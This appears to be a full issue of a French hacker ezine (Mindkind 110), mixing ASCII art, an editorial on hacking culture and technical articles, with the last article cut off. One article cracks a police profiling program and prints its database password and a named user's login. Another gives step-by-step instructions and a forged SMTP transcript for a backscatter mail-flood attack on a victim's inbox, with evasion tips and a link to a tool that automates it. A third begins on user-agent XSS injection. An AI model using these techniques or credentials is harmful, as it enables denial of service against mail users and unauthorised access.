.- - -, .- - -. .- - ------ - -. __ __ __ __ __ | | | | | | | | | |/ / | | | ' | | | | | / | | | | | | | | _ | \ _ | . ' : | | |__|__|__| |_| |__|___\ |_| ' | : | . ____ _ | | ' | | | ' | | | | . | : |___ __. | mindkind 110 ; bigger than ever ! | : | | | ; | | | | | ' ------- - - - -------------- - - ---- | | | | . | | | . | | . | _| | : , _ | '---| \ '- ---' '-- -- -/ |----' \ / \ / | | ."'\"/"". | | "Well you're in your little room | | | O'o | | | | . | u | ' | and you're working on something good & ' ' ~ ' ' , & \__ _\ /__ _/ & but if it's really good \ '---' / \ == == / you're gonna need a bigger room '. o o .' | | and when you're in the bigger room . __|_ _ . \ __:__ / you might not know what to do \ | / \ / you might have to think of \_______/ |__|_|__| how you got started | | / ___ \ sitting in your little room" / / \ \ / / \ \ : ) ( ; ' / \ ' - The White Stripes /__/ \__\ Little room __\ \ / /__ (______) (______) C'est avec une modestie des plus insignifiantes que nous dévoilons ce 6eme ezine Mindkind. Nous tenons a vous avertir d'est maintenant que si par le passez certain d'entre vous nous on trouver prétentieux ou on trouvez qu'on ne se mêlais pas de nos affaire, et bien sachez qu'on a bien l'intention de continuer a vous donnez raison. Le temps des fêtes arrive en sympatico haute vitesse et nous avons décider de vous offrire non pas seulement un magnifique ezine en cadeau, mais aussi quelque software de moraliser plus que douteuse et bien sur des gros becs mouiller tout aussi horrifiant qu'un ezine dla concurrence. C'est sans grande peine que nous les laissons derrière en compagnie des citrouilles pourris oubliez a l'halloween. Devinez qui est en avance cette année ? ce ne sont malheureusement pas les oeufs de paques, mais la nouvelle génération de newbie tout fraîchement chier qui vient grossir les rang de tout les groupes ridicules avec des noms plus debilisant les uns que les autres, et je cite le rectum crew, le crosseur crew, aka crew, anti-crew et pourquoi pas le banana crew ? ,-,--, / / / / / / |_|__| \ \ \ \ \ \ ,----,----,-,,-,----,-,,-,----, \ \ \ | | || | \| | || | \| | || | | | \ | >=| | | | | | ; ; ; | | /\ | |\ | /\ | |\ | /\ | > > > '----'-''-'-''-'-''-'-''-'-''-'/ / / / / / / / / / / / / / /,-----,,------, ,------,,---, ,---, / / / / / | __ \ | || | | | / / / / / | | \ \ | ,---'| | | | / / / / / | |__/ / | | | | | | / / / / / | __/ | '---,| | /\ | | / / / \ \ | \ | || \/ \/ | |/_- \ \ | \ | ,---'| | \ \ | |\ \ | | | _ _ | \ \ | | \ \ | '---,| / \/ \ | '-----''---' '--''------''---' '---' Ping ping ping ping ping ping ping Banana crew Ping ping ping ping ping ping ping Banana crew I've got this feeling so appealing for us to get together and ping - PING! Ping ping ping ping ping ping ping Banana crew Ping pong ping pong ping pong ping Banana crew It grows in bunches I've got my henchman Its the best beats the rest follower modular interuberhaxor Ping ping ping ping ping ping ping Banana crew Ping pong ping pong ping pong ping Ponana crew Its no a llamah It aint a newby My follower Bananular crew Don't need head quarters don't need lames to call a bot of mine dont need real life or tv to have a real good time I'll flood for pizza I'll flood my cat I'll flood the whitehouse, have a cheat I'll place bot's around the world Operator get being ping ping ping ping Ping ping ping ping ping ping ping Banana crew fling flang fling flang fling flang fling Banana crew It's a real lame mama and papa crew a brother and sister and a dogacrew a grandpa crew and a grandma crew too - oh yeah my follower bananular crew Banana crew ping... ping... ping... Its a crew with appeal (a peel) Banana crew ping... ping... ping... Now you can have your crew and screw it too Banana crew ping... ping... ping... This song drives me .... bananas Banana crew ping... ping... ping... Bo ba do ba do do newb this song drive's me, yeah fucking right. Et si vous voulez savoir sque vous auriez l'air a essayer de chanter c'est parole par dessus l'excellent original de raffi (bananaphone), bien il vous sera possible de le faire en écoutant le mp3 (bananafauxcrew.mp3) contenu dans la version FULL de ce e-zine. Après ça vous allez être sur de pas vouloir essayer ;]. __ ,,--`'`'``'`'`--,. ,-;`'``' . `'`;-. ,,-;'`' . ``';-., _.;` , , . `;._ ,-' ; , , `-, ,l , . , , , l, .` . , . . . , '. l` . ; , , . `l ,` ; , , , , ; . , , ', l . , . . . . l ,' , . , . . `, .l , , , . . , l. | , | , . . , | | , , . | , , , , | | --#-- . , | | . , , . | , . | | . | , . , | | . , | | . , ,.. , , | | . .ip` ___ o . . | | | , :Gn SantAO;.,_n__n, -+- | | | , `lb., , ClauS/` WW WW | ; | | -+- `` ~'''~ . + . | | . | . , | | , . | | . . , | | , , . | | , , | | . , |\ . . + | | , | \ , . ,______, | | | |_/| . | | | /|,| | ,____ |_/| | -+- | _/_/ | / | | | | \ |_/| |_____ | | _/_/ | / | | | |_/_/ \ |_/| ,/ \, . | _/_/ | , /_/ | | | |_/_/_/\ , |_/| | _/_/_/ | | _/_/ | / _/ | | | |_/_/_/ \ |_/| | _/_/_/ | | _/_/ | /_/_/ \ | | |_/_/_/_/\ |_/| | _/_/_/ | . | _/_/ | / _/_/ \|| | |_/_/_/_/ \ |_/| | _/_/_/ | | _/_/ | /_/_/_/ \|| | |_/_/_/_/ / / _/| | _/_/_/_/\__ | _/_/ | | _/_/_/ \|| | |_/_/_/_// /_/_/| | _/_/_/_/_/ \ __; ;__ /_/_/_/ | | _/_/_/ \|| |_/ \___/ \___/ \_|oo|_|##|_/ |__| \|| | | |____________________________________________________________________________| |- (.__//__//__.)(.__//__//__L) - - - - | |______OO______OO____OO______OO______________________________________________| ,| |, ,| _________________________________________________________________ |, ,| / \ |, ,/ / \ \, | \ Merry Fucking Chrismas / | | \ / | | \________________________________________________________________/ | |_____________________________________________________________________________________| _/ __________________________________________ ______/ _/_/_/ _/_/_/ _/_/ _/ _/_/ \_________ ____/ _/ _/ _/ _/_/ _/ _/ ____\ / _/ _/_/_/ _/ _/ _/_/ ________/ / ____________________________________ _____ ___/ | J / \\ \\ | o | .---+-=[ Topic of The ... Zine ]=---\\----\\----------+-------------------------=[N/A]=----. | y &| | i| \___________________ ___ __ _ | | e | | I| \ | | u B| | I| '-=[ Mk-110 ]=-| | x o|==| // | |\ | n| | L\:-=[01] -~{ Le patrimoine lemurien }~--~{ By: ( LastCall_ ) }~-]=--[~~]----| | \ | N n| | [02] -~{ Cracking some Nasty software }~--~{ By: ( Mindkind ) }~-] \/ | |H | | o e| [03] -~{ blind fire }~--~{ By: ( __2 ) }~-] | |a | | e | | [04] -~{ Advanced Script Injection }~--~{ By: ( Wyzeman ) }~-] |p | \l A| | [05] -~{ Doomsday device part 1 }~--~{ By: ( Qwzykx ) }~-] Don't put |p | | n| | [06] -~{ the real slim portknocker }~--~{ By: ( Phawnky ) }~-] this Zine | |y e\ | n| [07] -~{ Hardware Overclocking }~--~{ By: ( Spider ) }~-] too close | | n | | e|==| [08] -~{ Note sur Windows XP SP2 }~--~{ By: ( Lastcall_ ) }~-] of your |H | | e| [09] -~{ SSh Stealth connection }~--~{ By: ( Phawnky ) }~-] hears... |==|a r | | | | [10] -~{ Cause S of S-E means Social }~--~{ By: ( Wyzeman ) }~-] | |l e | \ | | [11] -~{ RSS pas XSS ciboire }~--~{ By: ( Nothing94 ) }~-] | |l t | | | | [12] -~{ A tales of interest }~--~{ By: ( __2 ) }~-] | |o a | | | [13] -~{ When led leads to lockpicking }~--~{ By: ( Qwzykx ) }~-] | |w r | | | |-[~]-=[14] -~{ Nbtel, rise }~--~{ By: ( c4ndu ) }~-] |e d | \ | | : }~-] | |e . | \| : }~-]=-----=:\T | |n . | | : // | | . | | : |I | | : |i ==| | '_______________________________________.I[ Event ]I.__________________________________+___' | | ______//___________//__________/ / _______/ / / _____/ /_____________________________________/ avant de lire ce manuscrit quelque règle de sécurité sont a prescrire 1) Mindkind vous rappelle que toute découverte de hiéroglyphe ou message secret découvert a travers les pages précédente ou subséquente est un phénomène pouvant entre d'écris sous le nom d'hallucination probablement du a une consommation irresponsable de saucisse hygrade. mais essayer pas on la vue le ptit bonhomme dans le coin en bas nous autre aussi et non le bonhomme fort du ascii d'entrée du e-zine n'a pas de chancre moux sous les aisselles. 2) Mindkind tien également a vous aviser que quiconque sera pris en flagrant delis de rip sera sévèrement gronder et privée de sorti durant 2 semaine. 3) si jamais vous aviez dans la tête de faire un truc illégal, et bien rappelez vous que cette idée viens de vous, pour le restes on veut rien savoir. 4) nous ne somme pas responsable des cas dhemoragies occasionner a ceux qui désirerons se torcher avec la version papier de se ezine. 5) Attention surface glissante. ___) (__ (_ _) _____) ( ) ) ( _)_(_) (_)_(_)_(_( (______ (_____ ) ( ) ( ) ) _____) _) ( ) ( ) ( __) ( (_______ (_ ) ( ) ( ) ) __) ___) ( ) ( ) ( ( (____ ______( ) ) )_(_)_( ) _______) (________ )____________ (__ ______ ______________) _) ( _( )_(_)_( ( _)_)_( )_(_)_)_(_) (_______ (_ ) ) ( __) ) ) ( ___) _____) (__ (__ ) ( ( ( ) __) (_____ ( ) (_(__ ) ) ) ( ___) _) ___) ( ) ( ( ) (________ (___ )_______) ( )_(_)_( ( _______) ) ( et puis nous voudrions vous donne de petite suggestion sur comment bien danser en public. 1) éviter de danser avec une bière 2) éviter de danser avec vous même 3) éviter de danser .---+-=[ Le patriomoine Lemurien ]=------+---------------------------=[01]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Lastcall_ ]=-| | // | | L\:-=[Ak : c'étais benbenbenben l'fun ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Enfin un véritable patrimoine ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ patrimoine n. m. 1. Biens et valeurs détenus, à la suite d'héritages, par une personne ou par un peuple. 2. Propriété commune à un groupe, à une collectivité, transmise par les ancêtres. La science est le patrimoine de l'humanité. Curieusement, des valeurs dans un "magasine", on appel ça un éditorial. Vu qu'on est Mindkind, on va appeler ça un patrimoine (faut croire qu'on se croit) car il s'agit du résultat de la sommes de nos pensées, le tout défini par Mindkind "la collectivité" (aka le collective, résistance is futile, heh) Donc, depuis le début des ezines, on vous disait carrément qu'on était en train d'écrire l'histoire (avec des faits). L'histoire de Mindkind. Maintenant, on lâche les faits, et on se garoche dans les opinions. Les opinions de Mindkind. Sans plus tardés, voici les opinions. Ce sont des choses qui choques, des choses que moi même LastCall_ je pogne les nerfs quand qqn d'en Mindkind m'en parle avec un air d'en savoir plus que moi, mais pourtant, elles doivent être dites, car c'est ça la fucking liberté d'expression. Vous êtes encourager a nous ostiner la dessus, mais seulement si vous avez des arguments intelligents et que vous vous entendez sur une partie du sujet (car après tout, ceux qui sont totalement contre sont pas dans notre style de pensées.. donc pkoi s'ajuster a eux? au pire starter vous un ezine). Le hacking selon Mindkind ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ La plupart du monde qui blast Mindkind, nous pose comme lapin que notre ezine est pas majoritairement du "hack". C'est quoi du hack? ./l33tr00t0r 24.5.5.5 #root~] echo iamleethax0r ça? Nah, pour nous le hack, c't'un moyen de contourner quelque chose. Une méthode alternative, pour un résultat alternatif. Une idée géniale, pour arriver à une solution jubilante. Donc, un hacker, c'est une personne qui est capable de faire toute ça. Et pour être capable de faire tout ça, ça prends un bunch assé grand de connaissance. Par exemple, tu hack une box Unix. Facile se servir de ./l33tr00t0r, maintenant une fois "in" tu fais quoi? Install une backdoor et vlan? Sachez que la limite entre le script kiddies et le hacker est la, celui qui connaît le système, ou qui fini par le connaître est un hacker. C'est donc la qu'on trace la ligne entre le newbie pis le script kiddies. Un newbie va tacher d'apprendre, un script kiddies va rouler un autre script pour "owner la machine". Fak c'est la qu'on se fait poser la question, êtes vous des VRAI HACKERS!?!?! La réponse c'est ça dépend. On dirait que tout le monde utilise ce mot la pour expliquer ce que ça leur tente, j'fais la même chose avec le mot "col bleu". Certains on une définition du hacking comme étant quelque chose d'exclusif, mais Mindkind, par contre, a la tendance de croire que le hacking devrait être un peu comme la fine cuisine lémurienne, de quoi qu'on peut enjoy avec un peu temps a mettre. Fak pour les extrémistes compulsif (hey c moi ça?), non on fait pas du hacking, on fait de l'informatique.. mais pour ceux qui savent tempérer leur vie on peut sûrement être une bonne source de hacking quotidienne... Donc, pour bien vous remplir la pense, voici une liste d'épicerie d'articles. Y'a une tonne d'exemple qui nous vient en tête, mais nous croyons que si on prends des articles "Mindkind" un à un, on arriverait a de quoi... les voici par types. On vous rappelle que les articles sont dispo individuellement sur le site web www.mindkind.org dans la section database. - OS Comme dit avant, connaître les OS c'est bon. Que ce soit le fonctionnement interne qui nous permet de songer a du code (hidinglkm.txt, qnx.txt, mbr.txt) ou encore les moyens de faire de l'administration système (slackboot.txt, armoringslackware01.txt, armoringslackware02.txt, iptables.txt) si vous voulez être un hacker "complet" il vous faut ces skills. (root4rent.txt, ipc.txt, tsweb.txt, tips_getboxinfo.txt). - Coding A moins que vous êtes capable de manipuler le binaire "à la main" (alors la chapeau), coder, même si c le plus futile que possible (scripting, script shells), s'avère une skill importante. Même si vous commencer par coder de quoi de simple (perl1à3.txt, introasm.txt, tclsocket.txt, winrawsocket.txt) vous finirez par faire de quoi de pratique (tips_xdccleach.txt, php_htfleecher.txt) et ultimement vos codes vont vous aider a parvenir à vos fins (php_ezportknocking.txt). Et si vos fins sont encore plus grande, et bien vos méthodes de coding devront s'y ajuster (php5.txt, perl4à5.txt, makefile.txt). - Cracking (tout les sens du termes) Sujet en lui-même peu touché par Mindkind, car tlm sait se servir de john, le cracking de software (softice.txt) est pratique. Même que quand on y pense, se savoir se servir de GDB, c hacker comme un élite (fmt.txt, buffnop.txt, FormatStringAttack.txt). - SE Si jamais un jour vous voulez aller encore plus loin dans vos hack, ça vous prend des skills de crosses sociales. En faite, ya pas que le "information gatering" (tips_freeisp.txt, tips_hackfuturshop.txt, pwesson.txt, infiltration01et2.txt) d'important. Ya aussi le quoi faire avec les choses une fois que vous les avez (moneymaker.txt). - Philo Et c'est la qu'arrive la philo. Avec quels skills vous allez vous estiner avec le monde? (lepouvoirdescons.txt, readordie.txt, guerreetphilo.txt, etc) Quels modes de pensées vont définir vos motivations? (introspection.txt, sadness.txt, etc) Contre quoi allez vous vous rebellez? (deshumanisation.txt, fuckuimlouis.txt, tournepasrond.txt, sasuxx.txt, etc). Un hacker sans philosophie, c'est un mindless drone qui connaît tout ses taches mais qui se fixe jamais de buts. - Phreaking (Urban Exploring ~ wardriving) On vote pour une convergence du phreaking (vmb.txt), en toute cki peut être des hacks des explorations (wifi.txt), des modifications physiques(wanalockpicking.txt, howtolockpicking.txt), électronique (light.txt, radioscrap.txt). C'est pourtant rendu une chose rare, le phreaking, mais pourtant comment on ose s'appeler un hacker si on paye pour faire des conférences à 5 ? - Contre-Culture En lien fort avec la philo, la culture est ce qui nous tente de faire. Ce qu'on a envie de dire. Toute l'ensemble des articles mentionnés avant (ainsi que ceux non mentionnés) font partie d'une culture, la notre. Sans cette dite culture, qui est différente des autres, on serait juste une gang de suiveux qui voudrait "faire comme phrack paske phrack c le best". Et bien si vous, ça vous tente de vous faire menez par une mono-culture qui est basé aux USA, go for it, nous on va continuer de faire évoluer la notre, qui est influer par les autres, mais qui n'en est pas une copie ou un "c ça ou cé rien". Conclusion ¯¯¯¯¯¯¯¯¯¯ Eh voila, changement drastique dans la formule. Pourtant ça fait déjà quelque années qu'on pense de même.. ça fait déja quelque année que dans le groupe, ont a décrit nos partages, mais on dirait qu'on a jamais vraiment donner a l'extérieur, well, maintenant vous l'avez. So enjoyer le reste du eZine, et augmenter vos skills tel un undead lvl24 à WoW. !!!! Mindkind SuperStars !!!! /\ ___/ \___ \ | | / \\____// / .. \ /,-` '-.\ ` ` __ ,, _'`M \-`_/ ,/` ___K / .-`"` 0 0`_` |@`" . `) `-__ """"-` / ,` ``'`\` / ,` /_/___\ / ( `, O: . / `.----`: `-`` l | ( / `-./ / | (,` `-/ / \.` / / / / / / / / .. / / ,` `. .`, ____________ / \ / \ /o \ `, / |\\//| \ |. `//'`^. _____________| / |_;;_| \ |/||/ `/ :. . /\ . |` \ ____ / || \/ \/ | \``/ \`./| | \ /\/\/\ / \ /\ /\ | _/ ( ) : | \\_/\_// |__`__/ (' \_______/ ___________|_____________________V__V_________//____\\____//_______/:____ .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit respectueux des cultures \___________________ ___ __ _ | | I| \ | | I| (au fait quelqu'un sait c qui ? :]) '-=[ Mk-110 ]=-| | // | | L\:-=[<{MADBoY}> Ce sont pas des vrai Hacekrs ]=--[~~]----| | [<{MADBoY}> ce sont des lamers ] \/ | [<{MADBoY}> ce sont des cons ] | | [<{MADBoY}> jammais les français etais des hackers ] Light can | [<{MADBoY}> et aucun ne peux me repondre ] be harmfull | [<{MADBoY}> sinon je l enculer devant vous ] beware of | [<{MADBoY}> y a quelqu un ki peut me repondre ici ...??? ] the | [<{MADBoY}> Ils me connaissent bien ] photonic | | [<{MADBoY}> j ai leur donner une leçons l autres fois au hacks ] killer... |-[~]-=[<{MADBoY}> Pour connaitre ke je suis Un Marocain ki peut les Niker ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Cracking some Nasty software ]=------+---------------------------=[02]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Mindkind ]=-| | // | | L\:-=[Ak : C'est pas moi pi vous mavez pas vus ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Cet article n'est pas une tentative de lancer un défi aux services secret du pays ni une façon de se faire accepter dans l'équipe des rouge des terroristes. Nous n'utilisons pas le logiciel C216E et jamais il nous est venu dans l'idée de le distribuer. Les informations divulguées ici ont été transmises sur internet par le CPIC lui-même et nous considérons qu'il est le seul responsable si des données secrètes sont dévoilées dans cet article. De plus, l'équipe de mindkind considère irresponsable de la part de nos forces policière et de la part d'interpole de laisser des informations telles que retrouvées dans la base de données du logiciel en circulation sur internet avec une si faible protection. L'équipe de mindkind couchée dans un lit double s'émerveillant de la technicité du plafond et se retournait sur son sort en se demandant ce qu'elle pouvait faire pour améliorer le fear factor de son e-zine quand elle fût soudainement frappée par un éclair de géni. Reverser des tools de good guy. Après quelques inutiles et discutables recherches google notre attention fût portée sur le site du CPIC (Canadian Police Information Center) et son logiciel de profilage de criminel "protégé" par mot de passe... offert en téléchargement?! Heureusement, il est servi avec une mise en garde disant exactement : Please note that this software is strictly for use by Private Fingerprinting Agencies and does not contain any information for searching or processing criminal records.. Ça tombe bien, on veut seulement le "déplomber" (*Cough*). Une fois le logiciel téléchargé on peut vite constater qu'il demande comme prévu un mot de passe. Le premier réflexe serait de décoller OllyDbg pour le cracker mais si vous avez un bon sens de l'observation vous avez pu remarquer que sur le site ils offrent les composants MDAC en téléchargement. Ça pue Access à plein nez. Comme de fait si vous regardez attentivement dans le dossier du logiciel pendant qu'il s'exécute vous pourrez remarquer la présence d'un fichier NPSADT.LDB (Access lock db file). En fesant une petite recherche dans ce dossier vous pourrez aussi remarquer que le fichier NPSADT.DLL est existant. Premier réflexe : l'ouvrir avec Access. Comme nous l'avions estimé accès reconnaît sans problème le fichier comme une basse de données et nous demande un mot de passe. Heureusement, les mot de passes Access se crackent assez rapidement avec l'utilitaire ACPR (password : m4a1p228 trouvé en ~1 segondes). On entre alors dans la base de données et on se promener dans les tables vides. Comme vous pourrez le remarquer, certaines tables comme OriginDeptAgency contiennent plus d'informations sur les services policiers que vous n'en connaissiez déjà et la table tblUsers contient des username et des mots de passe tels que slauzier/m4a1p228. Comme c'étais le même mot de passe que la base de données, c'est le mot de passe que nous avons essayer mais, ho!, mauvaise surprise, le logiciel nous retournes une erreur disant d'utiliser les informations fournies au préalable. Nous avons donc démarrer un debugger quelconque (OllyDbg) et suivi l'exécution jusqu'à ce que nous arrivions sur une requête SQL q ui demande des informations à la table tblConfig. Cette table est originellement vide, l'idée c'est de créer une ligne de configuration pour l'utilisateur souhaité. Nous avons donc créer une ligne avec SEBASTIEN LAUZIER comme PDname (hahaha pd!) et paff, l'application démarre. Une fois l'application démarrée, vous n'aurez accès a rien parce que votre ligne de configuration est invalide dans la base de données. Ce que je vous suggère c'est de bruteforcer les quelques 10 valeurs jusqu'à ce que vous trouviez une bonne combinaison, c'est assez facile, on vous laisse le faire. The Mindkind Team .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit accueillant et stimulant \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ toujours peu de conversation ici..... ]=--[~~]----| | [ les hackers sont des grands timides...ou alors ils ont peu ] \/ | [de choses a dire..... ] | | [ ya un proverbe qui dit que ceux qui parles le plus sont ceux ] There is | [qui en savent le moin... ] do, and do | [ comprend tjrs pas pk le monde pense qu'il ya des ] not, there| [discussions de hack ici! ] is no try | [ Ninja|UFM ben voyons, attend jva paster une liste de cc ] | | [ a pi jva aussi laisser ma mac address pi mon # de telephone ] |-[~]-=[ ya tu quelquun qui veut mon nas ? ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ SMTP Weapon Of Mass Destruction ]=------+---------------------------=[03]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[__2 ]=-| | // | | L\:-=[Ak : The Blindfire attack ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Je vais vous parlez aujourd'hui d'un problème méconnu du protocole SMTP permettant de générer du trafic à la pelle. L'utilisation normale de cette faille mène inévitablement vers du flood de "mail box" et des DoS. Je n'incite aucunement ce genre d'activité mais j'ai tout de même pensé que cela pourrait en intéresser plus d'un ;) Lors de l'envoie normal d'un courriel, le client se connecte au serveur SMTP, s'identifie, définis une source, définis une cible ou plusieurs copies carbones. Le tout suivi du contenu du courriel et de la déconnection. Au niveau protocole cela ressemble à ceci : -------------------------Connexion établis au serveur SMTP----------------------- SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500 CLIENT >> HELO test@source.com SERVER << 250 router.eden CLIENT >> MAIL FROM: SERVER << 250 Sender Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> DATA SERVER << 354 Ok Send data ending with . CLIENT >> Subject: this is a test CLIENT >> CLIENT >> Body go here CLIENT >> CLIENT >> . CLIENT >> CLIENT >> SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4] QUIT 221 router.eden ESMTP server closing connection -------------------------Déconnection-------------------------------------------- La technique dont je vais vous parlez exploite ce mécanisme en modifiant la source et les cibles d'une façon spécifique. Le concept est en fait fort simple, il suffit de placer l'adresse courriel victime en tant que source et de glisser plusieurs destinations bidons durant l'expédition du courriel. Le serveur SMTP se retrouvera dans l'impossibilité d'expédier le courriel aux destinations choisis et émettra un message d'erreur vers la source (la victime dans le cas suivant). Pour chaque nouvelle destination, la victime recevra un message supplémentaire. Un serveur SMTP fournis par votre ISP permet généralement d'allouer ~100 destinations par courriel. Cela peut varier d'un ISP à l'autre et j'ai eu la chance de faire des exp‚rimentations sur des serveur SMTP permettant jusqu'à 500 destinations. Donc, théoriquement, si j'envoie 10 courriels de ce type, je génère 1000 courriels qui iront directement dans la "mail box" de notre victime. L'avantage est que les courriels sont transmis par le serveur SMTP et non pas par vous. Cela ne se termine pas là, bien entendu. Dans les courriels qui sont forgé nous pouvons aussi glisser de la donnée bidon, ce qui augmentera la grosseur du courriel. Si nous reprenons l'exemple des 10 courriels qui en génère 1000, on peut déduire que 10 courriels de 200k (2megs total) génère 200 megs de "JUNK". Maintenant que j'ai votre attention, je vais parler des quelques règles à suivre pour mener à bien l'opération. 1) Utiliser des nom de domaines différents car si vous utilisez 100 destinations provenant du mˆme nom de domaine, le serveur coupera court et ne vous envoiera qu'un seul courriel contenant tout les destinations ratés. 2) Dans certains cas, le serveur SMTP fait une vérification préliminaire du nom de domaine, alors vous allez devoir vous faire une liste de nom de domaine non fictif. 3) Certains serveurs de courriel n'acceptent pas les courriels trop lourds, il faut en tenir compte. 4) Il est conseiller d'envoyer les courriels fautifs via un Proxy HTTP mal foutu ou tout autre façon détourné. Une vieille technique me revient à l'esprit, le "almighty FTP BOUNCE". Voici un exemple d'une session SMTP forgé : -------------------------Connexion établis au serveur SMTP----------------------- SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500 CLIENT >> HELO test@victime.com SERVER << 250 router.eden CLIENT >> MAIL FROM: SERVER << 250 Sender Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> RCPT TO: SERVER << 250 Recipient Ok CLIENT >> DATA SERVER << 354 Ok Send data ending with . CLIENT >> Subject: this is a flood CLIENT >> CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned. CLIENT >> CLIENT >> . CLIENT >> CLIENT >> SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4] QUIT 221 router.eden ESMTP server closing connection -------------------------Déconnection-------------------------------------------- Ici j'ai couper dans le nombre de destination et dans la grosseur du courriel pour pas me faire dire que je fait du remplissage inutile :) Il vous est peut-être venu a l'esprit qu'il serait pratique de connaître le nombre maximum de destinations(copies-carbonnes) qu'un serveur peut permettre. Il suffit tout simplement de se branché sur le serveur normalement, d'envoyer plusieurs "RCPT TO" suivi d'un "DATA" et de 2 CRLF suivi d'un "." et à nouveau 2 CRLF. Si il y a trop de destinations le message ne sera pas envoyer et un message d'erreur sera retourner. (Stupidement le serveur retourne la bonne valeur dans la majorité des cas.) En conclusion, j'aimerais parler des impacts possibles de cette technique pratiqué par des gens sans scrupules. Flooder une seule personne peut paraître amusant mais il y a vraiment matière pour faire plus, comme anéantir le pouvoir de transmission de plusieurs serveurs pendant de très longues heures. Imaginons le cas hypothétique d'un WORM qui utiliserait cette technique pour flooder l'adresse de courriel d'une organisation internationale et connue, même si la victime finirait par changer de courriel, le trafic engendrer serait d'une quantitée colossale et difficile à manipuler (Un beau calvaire pour l'administrateur). Alors sur cela, ne faite pas les cons et si la tentation est trop forte, n'en parlez pas a personne :) http://mrgibson.no-ip.com/random/blindfire/ (aussi disponible sur www.mindkind.org) - Petit programme multi plate-forme de mon cru qui automatise le processus. Greet to: Nexact, sans qui j'aurais oublier de ressayer cette technique (que j'avais déjà utiliser en 2000 sur un serveur intranet) ainsi qu'aux lémuriens en migration vers freenode :) __2 .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un endroit respectueux des cultures \___________________ ___ __ _ | | I| \ | | I| (MADBOY prise 2) '-=[ Mk-110 ]=-| | // | | L\:-=[<[{N|KeUR}]> slt ]=--[~~]----| | [ jme demande ce que tu nike ] \/ | [<[{N|KeUR}]> ta mere, ta soeur et toi aussi ] | | [ tu magasine pour un kickban? ] left blank | [* Wyzeman sets mode: +b *!*@MADMAD1.users.undernet.org ] on purpose | [* [{N|KeUR}] was kicked by Wyzeman (J'va t'apprendre un jeu rigolo a ] | [grand coup de chaine de velo) ] | [ [{N|KeUR}] on @#Interdit @#hacks_World @#pirataeurs ] | | [ fear, on a reveiller une terreur ] |-[~]-=[(PRIVMSG)<[{N|KeUR}]> 10 seconde, tu me Unban sinon ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Advanced Xss Injection ]=------+---------------------------=[04]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Wyzeman ]=-| | // | | L\:-=[Ak : Le syndrome de la quotes chronique ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Des fois il ne s'agit pas tant de trouver de nouvelle faille que de trouver de nouvelle emplois aux anciennes. Les failles de type XSS sont très connu et très documenter il est donc très rare aujourd'hui de trouver une occasion de pouvoir les exploiter, puisque tout programmeurs digne de se nom on adapter leurs code en conséquence (après tout en php un simple addslash suffit). Par contre il demeure des variables que la plus par des programmeur ne prennent pas la peine de vérifier, c'est le cas souvent des variable fourni par apache. Combiner avec une certaine dose d'amateurisme dans la configuration de php.ini, il devient possible d'injecter du code via toute variable fournis par apache qui serais stocker et réutiliser par le script php d'un site web. Cette technique peu par exemple mener a un SQL injection au niveau dun compteur. de plus ce type de XSS peu facilement être injecter via un utilitaire simple d'utilisation telle que wget. La meilleur façon d'éviter l'injection de code via les variables local d'apache en php est d'activer la protection magic_quotes qui par default est désactivé pour des raisons de performance !?!? Evidament l'autre methode consiste a vérifier soit même le contenue de chaque variable avant de la faire afficher. Rien de mieux qu'un exemple bien simple pour maîtriser le concept, j'ai penser résumer la faille a sont expression la plus simple. une simple page php qui store et affiche le contenu de la variable http_user_agent a chaque fois que la page est visiter. "; } fclose($fp); ?> nous voici donc avec un exemple de code vulnérable a un XSS Injection (et une page web qui sert a rien). Si nous visitons cette page anodine avec un browser standard, nous obtenons le résultat semblable a ceci Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like 